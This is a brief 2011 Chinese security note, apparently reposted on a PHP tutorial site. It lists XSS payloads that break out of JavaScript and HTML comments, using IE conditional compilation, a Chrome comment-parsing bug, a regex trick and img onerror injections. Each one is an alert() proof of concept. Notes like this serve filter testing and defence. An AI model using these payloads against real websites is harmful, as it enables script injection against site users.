好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Breaking javascript/html comments - 网站安全 - 自学php

Author:@Sogili

这只是个简单的笔记.如果你也有更多的想法,欢迎提出.

1. Java script

IE:

<script>/*@cc_on!alert(1)//*/</script>利用IE的条件编译机制突破, about @cc_on statment,一般用于做hack.

Chrome:

<script>/*猪/alert(3)//*/</script>正如你所看到的,这是个由v8引擎解析注释时候做了个小hack造成的bug,也不知道为什么留到了现在.

Any:

<script>/ //alert(1)</script>这是个很有意思的tip,或许这样写你会更清楚:/regex//alert(1)

2.HTML

<img/<!--/src=x:x onerror=alert(2)//-->元素内不可嵌套元素造成.

<!--[if<img src=x:x onerror=alert(5)//]-->这是个ie解析条件注释的bug,在ie10中条件注释已被遗弃.衰仔在这也有描述.

Chrome,Firefox支持.

IE,Opera支持.

sleep,bye.

Published 08/14/2011

@0xsec

查看更多关于Breaking javascript/html comments - 网站安全 - 自学php的详细内容...

  阅读:51次